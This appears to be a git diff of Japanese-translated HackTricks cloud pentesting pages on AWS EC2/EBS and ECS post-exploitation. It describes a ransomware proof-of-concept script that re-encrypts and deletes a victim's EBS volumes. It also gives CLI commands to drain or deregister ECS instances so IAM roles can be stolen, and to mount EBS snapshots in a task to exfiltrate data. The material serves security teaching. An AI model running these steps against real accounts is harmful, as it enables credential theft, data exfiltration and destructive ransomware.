しかし、暗号化された EBS ボリュームをアタッチしたまま実際に EC2 インスタンスを起動しようとすると、起動は失敗し、'pending' 状態から 'stopped' 状態へ戻ったまま永遠に進みません。これは、アタッチされた EBS ボリュームをそのキーで復号できないためで、キー ポリシーがもはやそれを許可していないからです。
|
||||
But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it.
|
||||
|
||||
 
|
||||
|
||||
以下は使用した python スクリプトです。これは '被害者' アカウントの AWS クレデンシャルと、暗号化に使用する公開されている AWS ARN 値を受け取ります。スクリプトは、対象の AWS アカウントにアタッチされているすべての EC2 インスタンスに対して、利用可能なすべての EBS ボリュームの暗号化コピーを作成し、その後すべての EC2 インスタンスを停止して、元の EBS ボリュームをデタッチして削除し、最後に処理中に作成したすべての snapshots を削除します。これにより、対象の '被害者' アカウントには暗号化された EBS ボリュームだけが残ります。ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. 利用した KMS キーを使って snapshots から復元することで回復できますが、最終的にはこれは ransomware の PoC であることを認識しておいてください。
|
||||
This the python script used. It takes AWS creds for a 'victim' account and a publicly available AWS ARN value for the key to be used for encryption. The script will make encrypted copies of ALL available EBS volumes attached to ALL EC2 instances in the targeted AWS account, then stop every EC2 instance, detach the original EBS volumes, delete them, and finally delete all the snapshots utilized during the process. This will leave only encrypted EBS volumes in the targeted 'victim' account. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. You can recover them using the utilized KMS key and restore them to their original state via snapshots, but just want to make you aware that this is a ransomware PoC at the end of the day.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -583,6 +616,8 @@ main()
|
||||
```
|
||||
## 参考資料
|
||||
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,42 +4,41 @@
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
詳細は次を参照してください：
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Roles
|
||||
### ホスト IAM ロール
|
||||
|
||||
ECS では、コンテナ内で実行される task に **IAM role を割り当てることができます**。\
|
||||
タスクが **EC2** instance 内で実行されている場合、**EC2 instance** には別の **IAM** role がアタッチされます。\
|
||||
つまり、ECS instance を **compromise** できれば、ECR や EC2 instance に紐づく **IAM role を取得できる可能性があります**。これらの資格情報を取得する方法の詳細は次を参照してください：
|
||||
In ECS、コンテナ内で実行されるタスクに **IAM ロールを割り当てることができます**。**If** タスクが **EC2** インスタンス内で実行されている場合、**EC2 instance** には **別の IAM** ロールがアタッチされます。\
|
||||
つまり、ECS インスタンスを **侵害** できれば、ECR や EC2 インスタンスに関連付けられた **IAM ロールを取得できる可能性がある** ということです。これらの認証情報の取得方法については次を参照してください：
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
|
||||
> IMDSv2 with a hop limit of 1 **does not** block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) for the full attack workflow and bypass notes. Recent [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
さらに、EC2 は docker を使って ECS tasks を実行しているため、もし node に escape するか **docker socket にアクセス**できれば、どの **other containers** が実行されているかを **確認** し、それらに **入り込んで** アタッチされている **IAM roles を steal** することさえできます。
|
||||
さらに、EC2 は docker を使って ECS タスクを実行しているため、ノードにエスケープするか **docker socket にアクセス**できれば、どの **他のコンテナ** が実行されているかを **確認** し、実際に **それらに侵入して** アタッチされた **IAM ロールを盗む** ことさえ可能です。
|
||||
|
||||
#### Making containers run in current host
|
||||
#### 現在のホストでコンテナを実行させる
|
||||
|
||||
さらに、**EC2 instance role** は通常、クラスター内のノードとして使われている EC2 インスタンスの **container instance state を更新する**ための十分な **permissions** を持っています。攻撃者はインスタンスの **state を DRAINING に変更**することができ、すると ECS はそのインスタンスから **すべての tasks を削除**し、**REPLICA** として実行されているタスクは別のインスタンスで **run in a different instance** ことになります。これが攻撃者のインスタンス内で実行される可能性があり、その場合攻撃者はコンテナ内から **IAM roles を steal** したり、機密情報を取得できます。
|
||||
さらに、**EC2 instance role** は通常、クラスタ内のノードとして使用されている EC2 インスタンスの **container instance state を更新する権限** を持っていることが多いです。攻撃者はインスタンスの **state を DRAINING に変更** でき、その場合 ECS はそのインスタンスから **全てのタスクを削除** し、**REPLICA** として実行されているタスクは別のインスタンスで **実行される** ことになります。場合によっては攻撃者のインスタンス内で実行され、コンテナ内の IAM ロールや機密情報を **盗む** ことができます。
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
同じ手法は **deregistering the EC2 instance from the cluster** によって行うことができます。これは潜在的にステルス性が低くなりますが、**tasks を他のインスタンスで実行させる**ことを強制します：
|
||||
同じ手法は **deregistering the EC2 instance from the cluster** でも行えます。これは潜伏性が低くなる可能性がありますが、タスクを他のインスタンスで実行するよう**強制します:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
tasksの再実行を強制する最後の手法は、ECSに**task or container was stopped**と通知することです。これを行うAPIは3つあります：
|
||||
タスクの再実行を強制する最後の手法は、ECS に対して **task or container was stopped** と示すことです。これを行うための 3 つの API が存在します:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -51,37 +50,37 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Steal sensitive info from ECR containers
|
||||
### ECR コンテナから機密情報を盗む
|
||||
|
||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **イメージをダウンロードする**（それらの中から機密情報を検索できる）。
|
||||
EC2 インスタンスはおそらく `ecr:GetAuthorizationToken` 権限も持っており、**イメージをダウンロード**できる（その中から機密情報を検索できる）。
|
||||
|
||||
|
||||
|
||||
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
### ECS タスク内に EBS スナップショットを直接マウントする (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
既存のEBSスナップショットの内容を新しいECS task/service 内に直接マウントし、コンテナ内部からデータを読み取るためにネイティブなECS EBS統合 (2024+) を悪用する。
|
||||
ネイティブな ECS と EBS の統合（2024+）を悪用して、既存の EBS スナップショットの内容を新しい ECS タスク/サービス内に直接マウントし、コンテナ内からデータを読み取る。
|
||||
|
||||
- Needs (minimum):
|
||||
- `ecs:RegisterTaskDefinition`
|
||||
- One of: `ecs:RunTask` OR `ecs:CreateService`/`ecs:UpdateService`
|
||||
- `iam:PassRole` on:
|
||||
- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles referenced by the task definition
|
||||
- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
|
||||
- ecs:RegisterTaskDefinition
|
||||
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole on:
|
||||
- ボリュームに使用される ECS インフラストラクチャロール（ポリシー: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`）
|
||||
- タスク定義で参照されている Task execution/Task roles
|
||||
- スナップショットが CMK で暗号化されている場合: infra role に対する KMS 権限（上記の AWS 管理ポリシーには AWS 管理キー用の必要な KMS 権限が含まれます）。
|
||||
|
||||
- Impact: コンテナ内でスナップショットから任意のディスク内容（例: データベースファイル）を読み取り、network/logs 経由で exfiltrate できる。
|
||||
- Impact: コンテナ内でスナップショットから任意のディスク内容（例: データベースファイル）を読み取り、ネットワーク／ログ経由で持ち出すことができる。
|
||||
|
||||
Steps (Fargate example):
|
||||
|
||||
1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
|
||||
1) ECS インフラストラクチャロールを作成（存在しない場合）し、マネージドポリシーをアタッチする:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) タスク定義を登録し、volume を `configuredAtLaunch` に設定してコンテナにマウントします。例（シークレットを出力してからスリープします）:
|
||||
2) タスク定義を登録し、ボリュームを `configuredAtLaunch` とマークしてコンテナにマウントします。例（秘密を出力してからスリープ）:
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -101,7 +100,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) `volumeConfigurations.managedEBSVolume` 経由で EBS snapshot を渡してサービスを作成または更新する（インフラロールに iam:PassRole が必要）。例：
|
||||
3) `volumeConfigurations.managedEBSVolume` を介して EBS snapshot を渡してサービスを作成または更新します（infra role に iam:PassRole が必要）。例:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
@@ -115,7 +114,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) タスクが開始すると、container は設定された mount path（例: `/loot`）で snapshot の内容を読み取ることができます。Exfiltrate は task の network/logs 経由で行ってください。
|
||||
4) タスクが開始すると、コンテナは構成されたマウントパス（例: `/loot`）でスナップショットの内容を読み取ることができます。 Exfiltrate via the task’s network/logs.
|
||||
|
||||
クリーンアップ:
|
||||
```bash
|
||||
@@ -123,4 +122,8 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
## 参考文献
|
||||
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user